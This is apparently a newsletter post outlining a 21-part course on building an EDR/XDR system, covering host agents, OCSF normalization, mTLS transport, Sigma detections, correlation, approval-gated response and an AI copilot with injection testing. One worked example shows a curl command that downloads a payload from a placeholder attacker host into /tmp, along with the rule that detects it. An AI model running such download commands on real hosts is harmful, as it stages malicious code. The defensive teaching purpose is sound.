Build a Production-Grade EDR/XDR From Scratch

Full Curriculum: Build a Production-Grade EDR/XDR From Scratch

All 21 Issues (OCSF, eBPF, ETW, XDR Correlation, AI Copilot)

Aug 14, 2026

Build a Production-Grade EDR/XDR From Scratch

The Full 21-Issue Curriculum

This is the complete curriculum map for the course — every issue, what it covers, and how it fits into the larger system. Each issue corresponds to a git tag in the companion repo, so you can check out the exact working state described at any point.

Course Description

This course builds a layered EDR/XDR system across 21 issues, the same way real security platforms are architected: agents observe activity on a host, events are normalized into a shared schema, shipped securely, stored, run through detection rules, correlated into incidents, and surfaced to an analyst (human or AI) who can approve a response.

It is a demoable vertical slice — most agent demos run on replay fixtures rather than live kernel hooks, and some components (like the macOS agent) are explicitly scaffolds. The goal is to teach the engineering layering of an EDR/XDR platform honestly, not to ship a production fleet agent.

What You’ll Build

Agents for Linux (eBPF/Aya), Windows (ETW), macOS (ES scaffold), and Kubernetes
An OCSF normalization layer that converts OS-specific events into a shared schema (verified against OCSF 1.8.0)
A buffered, mTLS-secured transport layer for shipping events
A pipeline (broker → ClickHouse/SQLite) for ingest and storage
Sigma-as-code detection rules and a behavioral scoring engine
An XDR correlation engine and ITDR (identity threat detection) rules
A control-plane response system with approval gating
A SOC dashboard and an AI copilot with red-team testing
An anti-tamper watchdog lab and a Helm packaging setup

Overall Architecture

Linux / Windows / macOS / K8s agents
        ↓ (OCSF JSON events)
Buffer (SQLite) + mTLS shipper
        ↓
Ingest → broker (file-backed / Kafka-Redpanda) → ClickHouse/SQLite
        ↓
Detections (Sigma + behavioral) → XDR correlation → ITDR
        ↓
Response (approved actions only)
        ↓
SOC dashboard / AI copilot

The 21-Issue Curriculum

Module 0 — Foundations

Issue 01 — Foundations, Threat Model, OCSF (v01-foundations-ocsf)

What’s covered: The threat model for the system and an introduction to OCSF (Open Cybersecurity Schema Framework) as the shared event language.
What you build/work with: The conceptual foundation and schema mapping approach used by every later issue.
Key concepts: Why a common schema matters when events come from different operating systems.
Why it matters: Every agent, every detection rule, and every dashboard view depends on this normalized format existing first.

Module 1 — Agents

Issue 02 — Linux Agent (eBPF) (v02-linux-agent-ebpf)

What’s covered: A Linux agent built with eBPF/Aya that observes process activity, run in --mode replay against fixture files like exec-events.jsonl.
What you build/work with: Raw kernel-style event capture and conversion into OCSF Process Activity events, including the durable process.uid (boot:pid:start_time) used to link related events.
Key concepts: eBPF as a kernel-hook mechanism; replay-based lab testing.
Why it matters: This is the first “eyes on the machine” sensor and the template for how all agents feed the pipeline.

Issue 03 — Windows Agent (ETW) (v03-windows-agent-etw)

What’s covered: A Windows agent built on ETW (Event Tracing for Windows).
What you build/work with: OS-specific event capture translated into the same OCSF format used by the Linux agent.
Key concepts: Cross-platform normalization — different collection mechanism, same output schema.
Why it matters: Demonstrates that the backend doesn’t need to care which OS an event came from once OCSF is applied.

Issue 04 — macOS Agent (ES Scaffold) (v04-macos-agent-esf)

What’s covered: A macOS agent scaffold structured around Endpoint Security (ES).
What you build/work with: The agent’s structural scaffold/mock rather than a fully live ES integration.
Key concepts: How to design an agent interface even when the underlying OS hook is not fully implemented.
Why it matters: Completes the three-OS agent story while being honest about what is scaffolded versus fully built.

Module 2 — Transport & Pipeline

Issue 05 — Transport, Buffering, mTLS (v05-transport-mtls)

What’s covered: The transport layer — a SQLite-backed buffer for offline resilience and mTLS for secure, authenticated shipping.
What you build/work with: A shipper that batches and sends events over HTTPS with certificate-based identity.
Key concepts: Buffering against network loss; mutual TLS as agent-to-backend authentication.
Why it matters: Events are worthless if they’re lost in transit or spoofable — this is the “sealed courier bag” of the system.

Issue 06 — Pipeline: Kafka → ClickHouse (v06-pipeline-clickhouse)

What’s covered: The backend ingest pipeline — accepting batches, queuing them on a broker (file-backed in labs, Redpanda/Kafka in the fuller setup), and flattening OCSF into stored rows.
What you build/work with: Ingest → broker → consumer → storage (SQLite in demos, ClickHouse for analytics).
Key concepts: Queue-based decoupling of ingest from storage; flattening structured events into analyzable rows.
Why it matters: This is the receive-queue-store backbone every later detection and correlation issue reads from.

Module 3 — Telemetry Depth

Issue 07 — File Telemetry (v07-file-telemetry)

What’s covered: File-related event capture and OCSF mapping.
What you build/work with: File write/create events flowing through the same agent-to-pipeline path.
Key concepts: Extending an OCSF event category beyond process activity.
Why it matters: File events are core evidence in the “curl → /tmp” style detection pattern used later.

Issue 08 — Network Telemetry (v08-network-telemetry)

What’s covered: Network connection event capture and normalization.
What you build/work with: Network activity events joined to the same process context via process.uid.
Key concepts: Linking network activity to the process that initiated it.
Why it matters: Enables detections and correlation that combine “what ran” with “what it connected to.”

Issue 09 — Persistence Telemetry & Coverage Matrix (v09-persistence-telemetry)

What’s covered: Persistence-mechanism telemetry (how attackers stay resident on a system) plus a coverage matrix documenting what is and isn’t observed.
What you build/work with: Additional event types and a matrix tracking detection coverage across the system.
Key concepts: Persistence as an attacker technique category; the value of tracking telemetry coverage explicitly.
Why it matters: Establishes an honest record of what the system can and cannot see — important for both engineering and later capstone reporting.

Issue 10 — Kubernetes / Container Telemetry (v10-k8s-ebpf-agent)

What’s covered: A Kubernetes agent producing container-enriched events.
What you build/work with: Container context added to the same OCSF event pipeline used by the OS agents.
Key concepts: Extending endpoint visibility into containerized workloads.
Why it matters: Real environments aren’t just laptops — this brings container visibility into the same pipeline.

Module 4 — Detection

Issue 11 — Sigma-as-Code Detection Engine (v11-sigma-detection-engine)

What’s covered: A detection engine built around Sigma-as-code rules (YAML-based rules such as proc_curl_tmp.yml, which alerts when a process named curl runs with /tmp in the command line).
What you build/work with: A rule-matching engine that treats Sigma as a conversion story — rules mapped against OCSF fields.
Key concepts: Declarative detection logic; rule-to-schema mapping.
Why it matters: This is the first “rules that shout” layer — the system’s first line of automated suspicion.

Issue 12 — Behavioral Detection (v12-behavioral-detection)

What’s covered: Behavioral scoring (behavioral_score.py) that fuses multiple weak signals into a stronger signal.
What you build/work with: A scoring mechanism that goes beyond single-rule matches.
Key concepts: Signal fusion versus single-rule alerting.
Why it matters: Real attacker behavior is rarely caught by one rule alone — this teaches combining weak evidence.

Module 5 — XDR Correlation & Identity

Issue 13 — XDR Correlation (v13-xdr-correlation)

What’s covered: Correlation logic (backend/correlation) that links host, user, IP, and file-hash signals into a single incident.
What you build/work with: The engine that promotes related alerts into one incident record.
Key concepts: This is the practical definition of “X” in XDR — connecting clues across entities rather than viewing alerts in isolation.
Why it matters: Without correlation, an analyst sees a pile of disconnected alerts instead of one attack story.

Issue 14 — ITDR (Identity Threat Detection) (v14-itdr)

What’s covered: Identity-based detection rules, such as impossible-travel logins.
What you build/work with: Identity signals feeding into the same correlation pipeline.
Key concepts: Identity as a first-class telemetry source alongside host and process data.
Why it matters: Modern attacks frequently involve compromised credentials, not just malware — this extends detection beyond the endpoint.

Module 6 — Response

Issue 15 — Response Actions (v15-response-actions)

What’s covered: A control-plane response system (backend/response) supporting actions like KillProcess, QuarantineFile, and IsolateHost.
What you build/work with: A response mechanism that strictly separates the data plane (seeing events) from the control plane (taking action), per ADR 001 — actions only execute with an explicit --approved flag and are audited to audit.jsonl.
Key concepts: Data plane / control plane separation; approval-gated automation; audit logging.
Why it matters: No silent auto-response — this models a safe, deliberate action system rather than an autonomous one.

Module 7 — Analyst Experience

Issue 16 — SOC Dashboard (v16-soc-dashboard)

What’s covered: A static SOC UI showing alerts, hosts, and process trees.
What you build/work with: The analyst-facing view of everything built in prior issues — alerts, entities, and process ancestry.
Key concepts: Turning backend data into an investigable interface.
Why it matters: Detection and correlation are only useful if an analyst can actually see and act on them.

Issue 17 — AI Copilot (v17-ai-copilot)

What’s covered: An AI copilot that can propose actions (with citations) based on alert data.
What you build/work with: Constrained AI tooling layered on top of the dashboard and backend data.
Key concepts: AI-assisted investigation with proposal-only behavior — the copilot suggests, it doesn’t auto-fire.
Why it matters: Reflects how AI is realistically integrated into a SOC workflow — as an assistant, not an autonomous actor.

Issue 18 — Copilot Red-Team Testing (v18-copilot-redteam)

What’s covered: Red-team/injection testing against the AI copilot.
What you build/work with: Test cases probing the copilot’s constrained tool boundaries.
Key concepts: Adversarial testing of AI tooling, including prompt-injection resistance.
Why it matters: An AI system with tool access needs to be tested against manipulation, not just functionality.

Module 8 — Hardening & Capstone

Issue 19 — Evasion & Anti-Tamper (v19-evasion-antitamper)

What’s covered: A watchdog/health-check lab for anti-tamper concepts.
What you build/work with: Basic mechanisms for detecting agent tampering or evasion attempts.
Key concepts: Why endpoint agents themselves need to be resistant to interference.
Why it matters: An EDR agent that can be silently disabled by an attacker isn’t providing real protection.

Issue 20 — Capstone Hardening / Packaging (v20-capstone-hardening)

What’s covered: Packaging the stack with a Helm chart (deploy/helm/edrxdr/).
What you build/work with: A Helm chart skeleton to deploy the backend-ish stack.
Key concepts: Packaging a multi-component system for deployment.
Why it matters: Moves the project from “a set of scripts” toward something deployable as a unit.

Issue 21 — Capstone Red-Team & Coverage Report (v21-capstone-redteam-final)

What’s covered: A final red-team pass and a coverage report summarizing what the system detects and where its gaps are.
What you build/work with: An end-to-end validation exercise against the full system built across all 21 issues.
Key concepts: Coverage assessment as an honest closing exercise, not a claim of completeness.
Why it matters: Ties the entire course together by testing the system you built against realistic attacker behavior — and documenting its limits.

How the Pieces Connect

The end-to-end story taught across all 21 issues is: see → normalize → ship → store → detect → connect → act → review.

A concrete example: a host runs curl https://evil.example/payload.sh -o /tmp/payload.sh. The Linux agent (or its replay fixture) observes the process launch, converts it to an OCSF Process Activity event, and ships it over the buffered mTLS transport into the ingest pipeline. A Sigma rule (ocsf-proc-curl-tmp) matches and fires a medium alert. If related signals appear — an unusual network connection, an anomalous login — the correlation engine promotes these into a single incident. The dashboard shows the process tree, the copilot proposes an action, and an operator runs an approved response command, which is written to the audit log.

Every issue in the curriculum is one link in that chain.

What You’ll Learn

How OCSF normalization allows heterogeneous event sources to be treated uniformly
eBPF, ETW, and Endpoint Security concepts as OS-level observation mechanisms
Secure telemetry transport using buffering and mTLS
Ingest pipeline design with broker-based queuing and analytical storage (ClickHouse)
Writing and reasoning about Sigma-as-code detection rules
Behavioral signal fusion versus single-rule detection
XDR correlation logic that links host, user, IP, and hash into incidents
Identity-based detection (ITDR) concepts like impossible travel
Data-plane/control-plane separation and approval-gated response design
Building an analyst-facing SOC dashboard
Integrating an AI copilot safely, including red-team testing of AI tooling
Anti-tamper considerations for endpoint agents
Packaging a multi-service security stack with Helm

Important Note

This course produces a demoable vertical slice, not a commercial security product. Several components are explicitly scaffolds or labs — the macOS agent is built around an ES scaffold, most agent demos run in replay mode against fixture files rather than live kernel hooks, and the broker/storage layer runs in a simplified, file-backed or SQLite form in labs. This is not a claim that completing these 21 issues produces a shipping fleet agent equivalent to CrowdStrike, SentinelOne, or Elastic. The purpose is to teach the real architectural layering these platforms use, honestly and at a scope that’s actually learnable.

Conclusion

By the end of Issue 21, you will have built — layer by layer — a working vertical slice of an EDR/XDR system: agents that observe activity, a shared schema that normalizes it, a secure pipeline that moves and stores it, detection and correlation logic that turns raw events into incidents, and a response and analyst layer that lets a human (with AI assistance) act on what the system finds. You won’t have built a commercial product — but you’ll understand, from the inside, how one is actually put together.

How Tech - Systems Programming

Discussion about this post

Ready for more?